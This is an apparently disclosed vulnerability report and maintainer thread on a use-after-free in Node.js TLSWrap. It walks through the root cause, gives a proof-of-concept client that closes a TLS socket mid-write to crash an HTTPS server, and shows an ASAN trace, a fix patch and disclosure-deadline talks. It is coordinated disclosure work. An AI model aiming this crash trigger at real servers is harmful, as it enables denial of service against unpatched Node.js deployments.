27

Node.js: use-after-free in TLSWrap

Share:

TIMELINE

fwilhelm submitted a report to Node.js. Sep 22nd (2 ye

Node.js: use-after-free in TLSWrap

Node v14.11.0 (Current) is vulnerable to a use-after-free bug in its TLS implementation.
When writing to a TLS enabled socket, node::StreamBase::Write calls node::TLSWrap::DoWrite
with a freshly allocated WriteWrap object as first argument. If the DoWrite method
does not return an error, this object is passed back to the caller as part of a
StreamWriteResult structure:

```
// stream_base-inl.h
WriteWrap* req_wrap = CreateWriteWrap(req_wrap_obj);

err = DoWrite(req_wrap, bufs, count, send_handle);
bool async = err == 0;

if (!async) {
req_wrap->Dispose();
req_wrap = nullptr;
}

const char* msg = Error();
if (msg != nullptr) {
req_wrap_obj->Set(env->context(),
env->error_string(),
OneByteString(env->isolate(), msg)).Check();
ClearError();
}

return StreamWriteResult { async, err, req_wrap, total_bytes };
```

The problem is that TLSWrap::DoWrite can trigger a free of the WriteWrap object
without returning an error when the EncOut() call at the end of the DoWrite method fails.
EncOut() calls underlying_stream()->Write() to write TLS encrypted data to the network socket.
If this write fails, InvokeQueued() is called and the function returns immediately:

```
// tlswrap.cc
// Write any encrypted/handshake output that may be ready.
// Guard against sync call of current_write->Done(), its unsupported.
indowrite = true;
EncOut();
indowrite = false;

return 0;

// tls_wrap.cc
void TLSWrap::EncOut() {
[...]

Debug(this, "Writing %zu buffers to the underlying stream", count);
StreamWriteResult res = underlying_stream()->Write(bufs, count);
if (res.err != 0) {
InvokeQueued(res.err);
return;
}
[..]
```

InvokeQueued() triggers an immediate free of the req_wrap WriteWrap* object via the
following call chain:
node::TLSWrap::InvokeQueued -> node::StreamReq::Done -> node::WriteWrap::OnDone
-> node::StreamReq::Dispose -> node::BaseObjectPtrImpl<node::AsyncWrap, false>::~BaseObjectPtrImpl()
-> node::BaseObject::decrease_refcount() -> node::SimpleWriteWrap<node::AsyncWrap>::~SimpleWriteWrap()

Making underlying_stream()->Write fail is as easy as closing the socket at the other side
of the connection just before the write to trigger a broken pipe error.

Because node::TLSWrap::DoWrite doesn't return an error code, node::StreamBase::Write will return
the freed WriteWrap object as part of its StreamWriteResult. For calls by node::StreamBase::WriteV,
this will immediately trigger a use-after-free when the SetAllocatedStorage() method
is called on the freed object:

```
// stream_base.cc
StreamWriteResult res = Write(*bufs, count, nullptr, req_wrap_obj);
SetWriteResult(res);
if (res.wrap != nullptr && storage_size > 0) {
```

The bug can be easily triggered against a simple node HTTPS server application. Under normal
circumstances and without an ASAN enabled build, the UAF doesn't trigger a crash on Linux
as the freed memory won't get reallocated in time and the write in SetAllocatedStorage
corrupts chunk metadata that isn't used for small chunks.
I think this is the only reason why the bug wasn't spotted earlier, as the broken pipe error path should be hit
pretty often in the real world. However, this issue might still be exploitable with the right heap layout
(if the WriteWrap chunk is merged with a larger chunk during the free), different heap implementations
and/or some other control flow that allows to allocate something before the reuse.

Proof-of-Concept:

server.js:

Code 1.09 KiB Wrap lines Copy Dow

```
const https = require('https');

const key = `-----BEGIN EC PARAMETERS-----
BggqhkjOPQMBBw==
-----END EC PARAMETERS-----
-----BEGIN EC PRIVATE KEY-----
MHcCAQEEIDKfHHbiJMdu2STyHL11fWC7psMY19/gUNpsUpkwgGACoAoGCCqGSM49
AwEHoUQDQgAEItqm+pYj3Ca8bi5mBs+H8xSMxuW2JNn4I+kw3aREsetLk8pn3o81
PWBiTdSZrGBGQSy+UAlQvYeE6Z/QXQk8aw==
-----END EC PRIVATE KEY-----`

const cert = `-----BEGIN CERTIFICATE-----
MIIBhjCCASsCFDJU1tCo88NYU//pE+DQKO9hUDsFMAoGCCqGSM49BAMCMEUxCzAJ
BgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5l
dCBXaWRnaXRzIFB0eSBMdGQwHhcNMjAwOTIyMDg1NDU5WhcNNDgwMjA3MDg1NDU5
WjBFMQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwY
SW50ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcD
QgAEItqm+pYj3Ca8bi5mBs+H8xSMxuW2JNn4I+kw3aREsetLk8pn3o81PWBiTdSZ
rGBGQSy+UAlQvYeE6Z/QXQk8azAKBggqhkjOPQQDAgNJADBGAiEA7Bdn4F87KqIe
Y/ABy/XIXXpFUb2nyv3zV7POQi2lPcECIQC3UWLmfiedpiIKsf9YRIyO0uEood7+
glj2R1NNr1X68w==
-----END CERTIFICATE-----`

const options = {
  key: key,
  cert: cert,
};

https.createServer(options, function (req, res) {
  res.writeHead(200);
  res.end("hello world\n");
}).listen(4444);
```

poc.js:

Code 449 Bytes Wrap lines Copy Dow

```
const tls = require('tls')

var socket = tls.connect(4444, 'localhost', {rejectUnauthorized : false}, () => {
  console.log("connected")
  socket.write("GET / HTTP/1.1\r\nHost: localhost\r\nConnection: Keep-alive\r\n\r\n")
  socket.write("GET / HTTP/1.1\r\nHost: localhost\r\nConnection: Keep-alive\r\n\r\n")
  socket.write("GET / HTTP/1.1\r\nHost: localhost\r\nConnection: Keep-alive\r\n\r\n")
})


socket.on('data', () => {
  socket.destroy()
})
```

The POC triggers a crash when server.js is run on an ASAN enabled build of node.js:

Code 8.55 KiB Wrap lines Copy Dow

```
==1408671==ERROR: AddressSanitizer: heap-use-after-free on address 0x608000011138 at pc 0x0000011929b6 bp 0x7ffc8c2243f0 sp 0x7ffc8c2243e8
READ of size 8 at 0x608000011138 thread T0
    #0 0x11929b5 in std::__uniq_ptr_impl<v8::BackingStore, std::default_delete<v8::BackingStore> >::_M_ptr() const /usr/bin/../lib/gcc/x86_64-linux-gn
    #1 0x1192974 in std::unique_ptr<v8::BackingStore, std::default_delete<v8::BackingStore> >::get() const /usr/bin/../lib/gcc/x86_64-linux-gnu/9/../.
    #2 0x1193fb4 in std::unique_ptr<v8::BackingStore, std::default_delete<v8::BackingStore> >::operator bool() const /usr/bin/../lib/gcc/x86_64-linux-
    #3 0x1190415 in node::AllocatedBuffer::data() /pwd/out/../src/allocated_buffer-inl.h:79:8
    #4 0x16f8a79 in node::WriteWrap::SetAllocatedStorage(node::AllocatedBuffer&&) /pwd/out/../src/stream_base-inl.h:247:3
    #5 0x16f1141 in node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&) /pwd/out/../src/stream_base.cc:172:15
    #6 0x16faa47 in void node::StreamBase::JSMethod<&(node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&))>(v8::FunctionCallbackInfo<
    #7 0x1caf642 in v8::internal::FunctionCallbackArguments::Call(v8::internal::CallHandlerInfo) /pwd/out/../deps/v8/src/api/api-arguments-inl.h:158:
    #8 0x1cabfaf in v8::internal::MaybeHandle<v8::internal::Object> v8::internal::(anonymous namespace)::HandleApiCallHelper<false>(v8::internal::Iso
    #9 0x1ca8f8a in v8::internal::Builtin_Impl_HandleApiCall(v8::internal::BuiltinArguments, v8::internal::Isolate*) /pwd/out/../deps/v8/src/builtins
    #10 0x1ca81e0 in v8::internal::Builtin_HandleApiCall(int, unsigned long*, v8::internal::Isolate*) /pwd/out/../deps/v8/src/builtins/builtins-api.c
```

```
freed by thread T0 here:
    #0 0xe79b1d in operator delete(void*) (/p0/node/node-v14.11.0/out/Debug/node+0xe79b1d)
    #1 0x1707177 in node::SimpleWriteWrap<node::AsyncWrap>::~SimpleWriteWrap() /pwd/out/../src/stream_base.h:418:7
    #2 0xf943be in node::BaseObject::decrease_refcount() /pwd/out/../src/base_object-inl.h:203:7
    #3 0x10886e6 in node::BaseObjectPtrImpl<node::AsyncWrap, false>::~BaseObjectPtrImpl() /pwd/out/../src/base_object-inl.h:248:12
    #4 0x13c2a3c in node::StreamReq::Dispose() /pwd/out/../src/stream_base-inl.h:40:1
    #5 0x16f794c in node::WriteWrap::OnDone(int) /pwd/out/../src/stream_base.cc:591:3
    #6 0x10e71f8 in node::StreamReq::Done(int, char const*) /pwd/out/../src/stream_base-inl.h:261:3
    #7 0x1921f95 in node::TLSWrap::InvokeQueued(int, char const*) /pwd/out/../src/tls_wrap.cc:101:8
    #8 0x1927f39 in node::TLSWrap::EncOut() /pwd/out/../src/tls_wrap.cc:356:5
    #9 0x192e258 in node::TLSWrap::DoWrite(node::WriteWrap*, uv_buf_t*, unsigned long, uv_stream_s*) /pwd/out/../src/tls_wrap.cc:820:3
    #10 0x13b50dd in node::StreamBase::Write(uv_buf_t*, unsigned long, uv_stream_s*, v8::Local<v8::Object>) /pwd/out/../src/stream_base-inl.h:193:9
    #11 0x16f108f in node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&) /pwd/out/../src/stream_base.cc:169:27
    #12 0x16faa47 in void node::StreamBase::JSMethod<&(node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&))>(v8::FunctionCallbackInf
    #13 0x1caf642 in v8::internal::FunctionCallbackArguments::Call(v8::internal::CallHandlerInfo) /pwd/out/../deps/v8/src/api/api-arguments-inl.h:158
    #14 0x1cabfaf in v8::internal::MaybeHandle<v8::internal::Object> v8::internal::(anonymous namespace)::HandleApiCallHelper<false>(v8::internal::Is
    #15 0x1ca8f8a in v8::internal::Builtin_Impl_HandleApiCall(v8::internal::BuiltinArguments, v8::internal::Isolate*) /pwd/out/../deps/v8/src/builtin
    #16 0x1ca81e0 in v8::internal::Builtin_HandleApiCall(int, unsigned long*, v8::internal::Isolate*) /pwd/out/../deps/v8/src/builtins/builtins-api.c
    #17 0x3e096df in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_BuiltinExit (/p0/node/node-v14.11.0/out/Debug/node+0x3e096df)

previously allocated by thread T0 here:
    #0 0xe792bd in operator new(unsigned long) (/p0/node/node-v14.11.0/out/Debug/node+0xe792bd)
    #1 0x16f81c2 in node::StreamBase::CreateWriteWrap(v8::Local<v8::Object>) /pwd/out/../src/stream_base.cc:629:10
    #2 0x13b4fb0 in node::StreamBase::Write(uv_buf_t*, unsigned long, uv_stream_s*, v8::Local<v8::Object>) /pwd/out/../src/stream_base-inl.h:191:25
    #3 0x16f108f in node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&) /pwd/out/../src/stream_base.cc:169:27
    #4 0x16faa47 in void node::StreamBase::JSMethod<&(node::StreamBase::Writev(v8::FunctionCallbackInfo<v8::Value> const&))>(v8::FunctionCallbackInfo
    #5 0x1caf642 in v8::internal::FunctionCallbackArguments::Call(v8::internal::CallHandlerInfo) /pwd/out/../deps/v8/src/api/api-arguments-inl.h:158:
    #6 0x1cabfaf in v8::internal::MaybeHandle<v8::internal::Object> v8::internal::(anonymous namespace)::HandleApiCallHelper<false>(v8::internal::Iso
    #7 0x1ca8f8a in v8::internal::Builtin_Impl_HandleApiCall(v8::internal::BuiltinArguments, v8::internal::Isolate*) /pwd/out/../deps/v8/src/builtins
    #8 0x1ca81e0 in v8::internal::Builtin_HandleApiCall(int, unsigned long*, v8::internal::Isolate*) /pwd/out/../deps/v8/src/builtins/builtins-api.cc
    #9 0x3e096df in Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_BuiltinExit (/p0/node/node-v14.11.0/out/Debug/node+0x3e096df)
    #10 0x3c06181 in Builtins_InterpreterEntryTrampoline (/p0/node/node-v14.11.0/out/Debug/node+0x3c06181)
    #11 0x3c06181 in Builtins_InterpreterEntryTrampoline (/p0/node/node-v14.11.0/out/Debug/node+0x3c06181)


SUMMARY: AddressSanitizer: heap-use-after-free /usr/bin/../lib/gcc/x86_64-linux-gnu/9/../../../../include/c++/9/bits/unique_ptr.h:154:42 in std::__un
Shadow bytes around the buggy address:
  0x0c107fffa1d0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fffa1e0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fffa1f0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fffa200: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
  0x0c107fffa210: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c107fffa220: fa fa fa fa fd fd fd[fd]fd fd fd fd fd fd fd fa
  0x0c107fffa230: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fffa240: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fffa250: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fffa260: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c107fffa270: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==1408671==ABORTING
```

Credits:
Felix Wilhelm of Google Project Zero

This bug is subject to a 90 day disclosure deadline. After 90 days elapse, the bug report will become visible to the public. The scheduled disclosure date is 2020-12-21.
Disclosure at an earlier date is also possible if agreed upon by all parties.

mcollina Node.js staff posted a comment. Sep 22nd (2 ye

Thanks for reporting this Felix, it's really a nasty bug. Could you please articulate how this could be exploited in practice? You mention that the impact is Remote C Execution, but there is no PoC for it. Given your extensive research, have you got a potential fix?

If this is theoretical, we might want to fix this in the public tracker as we have just issued a security release and this would have to wait for a few months before we new one.

Have you verified this to be present only in v14 or also in 12?

mcollina Node.js staff changed the status to Needs more info. Sep 22nd (2 ye

fwilhelm changed the status to New. Sep 22nd (2 ye

Hi Matteo,

It's a somewhat limited memory corruption so it's difficult to make any definite statements about exploitability. And any assessment would only apply to a single version-OS combination (and even be application specific). With this in mind and based on my very rough initial analysis, an RCE exploit against a Linux system usi glibc seems difficult, but not impossible:

In the flow that my POC triggers, there are no allocation between free and use so an attacker can't corrupt a newly allocated object. SetAllocatedStorage() will writ pointer into offset 0x10 which isn't used for small free memory regions. This leads to the masking of the bug under normal circumstances. However, there is anoth call to free() that can trigger merging of chunks through an internal glibc function (malloc_consolidate). If the chunk of the WriteWrap object gets merged with a la one, the UAF ends up corrupting glibc heap metadata (fd_nextsize) with a valid pointer. This is at least a Denial-of-Service, but can potentially be turned into a full exploit.
The situation might be completely different for other version or operating systems. Small changes to the WriteWrap class layout or the Stream methods could ma RCE easier or impossible.
FWIW I quickly tested this on my OS X laptop and the proof of concept triggers a crash against a non-ASAN node install. So on OS X this is a trivial DoS.

I would **not** recommend to fix this in the public tracker without a security release before spending significant more effort on analysing exploitability.

Re Fix: My gut feeling would be that EncOut() in TLSWrap would need to report the sigpipe error back to its callers. But the whole stream handling code seems awf complex so I'm not confident that I can contribute a correct patch for this. Sorry.

| Have you verified this to be present only in v14 or also in 12?
I just tried the POC against node-v12.18.4 and it is also affected.

mcollina Node.js staff changed the status to Triaged. Sep 23rd (2 ye

Agreed, this must be fixed privately. Thanks for the detailed answer.

jasnell Node.js staff posted a comment. Sep 30th (2 ye

Ok, I had suspected this may have been a possibility before but had not investigated further. I will take a look at preparing a fix for all release lines. Realistically it wi early next week before I can take a look

jasnell Node.js staff posted a comment. Oct 7th (2 ye

I'm working on the fix for this for the main branch. Once I have the primary fix done, I'll work on backports

jasnell Node.js staff posted a comment. Oct 7th (2 ye

FWIW, the challenge here is really with StreamBase and the way WriteWrap instances are handled in general. That is, this is not specific to TLSWrap, that just happ to be the place where the bug manifests. That's a long way of saying that fixing this properly will end up touching on a few more things than just TLSWrap.

jasnell Node.js staff posted a comment. Oct 10th (2 ye

@fwilhelm ... while investigating this further, there was another change on the main node.js repo that may have fixed this -- at least, I'm not able to recreate the fa now. It would be excellent if you could give your test a try again rebasing from the master branch to see if the issue persists

fwilhelm posted a comment. Oct 12th (2 ye

@jasnell
Thanks for looking into this.
I can still trigger the crash on the current master branch:

Code 204 Bytes Wrap lines Copy Dow

```
[fwilhelm@fwilhelm node]$ git log
commit 2d83e743d934738a3ad26ed587eb7cfd6ca46081 (HEAD -> master, origin/master, origin/HEAD)
Author: Colin Ihrig <cjihrig@gmail.com>
Date:   Fri Oct 9 16:48:11 2020 -0400
```

built with `./configure --debug --enable-asan && make -j4`

jasnell Node.js staff posted a comment. Oct 12th (2 ye

Ok, I was afraid of that. I'll have a patch with a quick fix shortly for you to test

jasnell Node.js staff posted a comment. Oct 12th (2 ye

Ok, please give the following patch a try to see if it resolves the issue. It appears to fix it on my end using valgrind to test.

Code 3.59 KiB Wrap lines Copy Dow

```
From 7b935231653f64c2f5eca8dd42e75b8c336aebca Mon Sep 17 00:00:00 2001
From: James M Snell <jasnell@gmail.com>
Date: Mon, 12 Oct 2020 17:26:44 -0700
Subject: [PATCH] src: fixup use-after-free in TLSWrap
```

```
src/stream_base.cc |  2 +-
src/tls_wrap.cc    | 26 ++++++++++++++++----------
 src/tls_wrap.h     |  2 +-
 3 files changed, 18 insertions(+), 12 deletions(-)

diff --git a/src/stream_base.cc b/src/stream_base.cc
index 3ad2017460..795873c530 100644
--- a/src/stream_base.cc
+++ b/src/stream_base.cc
@@ -168,7 +168,7 @@ int StreamBase::Writev(const FunctionCallbackInfo<Value>& args) {

   StreamWriteResult res = Write(*bufs, count, nullptr, req_wrap_obj);
   SetWriteResult(res);
-  if (res.wrap != nullptr && storage_size > 0) {
+  if (res.err == 0 && res.wrap != nullptr && storage_size > 0) {
     res.wrap->SetAllocatedStorage(std::move(storage));
   }
   return res.err;
diff --git a/src/tls_wrap.cc b/src/tls_wrap.cc
index 908e3899db..13d47d8035 100644
--- a/src/tls_wrap.cc
+++ b/src/tls_wrap.cc
@@ -280,25 +280,25 @@ void TLSWrap::SSLInfoCallback(const SSL* ssl_, int where, int ret) {
 }


-void TLSWrap::EncOut() {
+int TLSWrap::EncOut() {
   Debug(this, "Trying to write encrypted output");

   // Ignore cycling data if ClientHello wasn't yet parsed
   if (!hello_parser_.IsEnded()) {
     Debug(this, "Returning from EncOut(), hello_parser_ active");
-    return;
+    return 0;
   }

   // Write in progress
   if (write_size_ != 0) {
     Debug(this, "Returning from EncOut(), write currently in progress");
-    return;
+    return 0;
   }

   // Wait for `newSession` callback to be invoked
   if (is_awaiting_new_session()) {
     Debug(this, "Returning from EncOut(), awaiting new session");
-    return;
+    return 0;
   }

   // Split-off queue
@@ -309,7 +309,7 @@ void TLSWrap::EncOut() {

   if (ssl_ == nullptr) {
     Debug(this, "Returning from EncOut(), ssl_ == nullptr");
-    return;
+    return 0;
   }

   // No encrypted output ready to write to the underlying stream.
@@ -335,7 +335,7 @@ void TLSWrap::EncOut() {
         });
       }
     }
-    return;
+    return 0;
   }

   char* data[kSimultaneousBufferCount];
@@ -354,8 +354,12 @@ void TLSWrap::EncOut() {
   Debug(this, "Writing %zu buffers to the underlying stream", count);
   StreamWriteResult res = underlying_stream()->Write(bufs, count);
   if (res.err != 0) {
-    InvokeQueued(res.err);
-    return;
+    if(!in_dowrite_) {
+      InvokeQueued(res.err);
+    return res.err;
   }

   if (!res.async) {
@@ -368,6 +372,8 @@ void TLSWrap::EncOut() {
       OnStreamAfterWrite(nullptr, 0);
     });
   }
+
+  return 0;
 }


 @@ -820,10 +826,10 @@ int TLSWrap::DoWrite(WriteWrap* w,
    // Write any encrypted/handshake output that may be ready.
    // Guard against sync call of current_write_->Done(), its unsupported.
    in_dowrite_ = true;
 -  EncOut();
 +  int res = EncOut();
    in_dowrite_ = false;

 -  return 0;
 +  return res;
  }


 diff --git a/src/tls_wrap.h b/src/tls_wrap.h
 index 3b9a6c8598..5f32a73741 100644
 --- a/src/tls_wrap.h
 +++ b/src/tls_wrap.h
 @@ -124,7 +124,7 @@ class TLSWrap : public AsyncWrap,
    //
    // EncIn() doesn't exist. Encrypted data is pushed from underlying stream into
    // enc_in_ via the stream listener's OnStreamAlloc()/OnStreamRead() interface.
 -  void EncOut();  // Write encrypted data from enc_out_ to underlying stream.
 +  int EncOut();  // Write encrypted data from enc_out_ to underlying stream.
    void ClearIn();  // SSL_write() clear data "in" to SSL.
    void ClearOut();  // SSL_read() clear text "out" from SSL.

 --
 2.17.1
```

fwilhelm posted a comment. Oct 13th (2 ye
The patch looks good to me and the UaF doesn't trigger anymore once it is applied.

jasnell Node.js staff posted a comment. Oct 13th (2 ye
Awesome ok... at this point we've Identified two potential ways of fixing this in nodejs/node master branch and for both the pending 15.0.0 release and 14.x branc
will be getting a pull request open in our private security repo to work that fix through. I have not yet investigated backporting the fix to both 12.x and 10.x, both o
which will be affected by this also. Will update here once we've made progress on the PRs

jasnell Node.js staff updated the severity to High (7.5). Oct 13th (2 ye

mhdawson Node.js staff posted a comment. Nov 30th (2 ye
@fwilhelm I see this in the initial report "This bug is subject to a 90 day disclosure deadline. After 90 days elapse, the bug report will become visible to the public. T
scheduled disclosure date is 2020-12-21."

The project has been working to build patches/fixes but at this point I'm starting to get concerned that we are not going to make the date. In addition even if we ca
ready before the 21st unless it is within the next week or so doing a security release that close to the Christmas holiday may not be appreciated.

I'd like to discuss if the disclosure date can be moved out.

fwilhelm posted a comment. Dec 1st (2 ye
@mhdawson I can grant a 14 day grace period as described in our disclosure policy (see https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-faq.h

This would move the public disclosure date to Monday 2021-01-04, which seems like a good solution.
Would that work for you?

jasnell Node.js staff posted a comment. Dec 1st (2 ye
Thanks for that @fwilhelm, moving out the date would be greatly appreciated ... we have fixes for most of the current versions but we're running into some difficu
the oldest LTS branch due to some of the necessary base level changes necessary not existing in that branch and a complete lack of time on my part to make thos
changes. We're working through the issue on our end and really appreciate the patience.

mhdawson Node.js staff posted a comment. Dec 1st (2 ye
@fwilhelm thanks for moving it out 14 days as that would help but I have to ask if that is the farthest it can be moved. That is the day after the holidays which relies
our releasers being available (ie not taking any additional holidays) as well as potentially expecting project volunteers to do work over the holiday period.

fwilhelm posted a comment. Dec 8th (2 ye

Any other questions, please let me know.

mhdawson Node.js staff posted a comment. Dec 11th (2 ye

I find it disappointing that there is no flexibility to do what's in the best interest of the community.

Security releases have been planned for Jan 4th.

mhdawson Node.js staff closed the report and changed the status to **Resolved**. Jan 4th (2 ye

mhdawson Node.js staff requested to disclose this report. Jan 4th (2 ye

fwilhelm agreed to disclose this report. Jan 5th (2 ye

This report has been disclosed. Jan 5th (2 ye

danbev posted a comment. Mar 2nd (2 ye

@fwilhelm I would like to ask if you are able to accept an award for this report?

fwilhelm posted a comment. Mar 11th (2 ye

@danbev Thanks for the ping. I'm donating all awards/bounties to Médecins Sans Frontières, so I'm happy to accept it if you want to grant an award.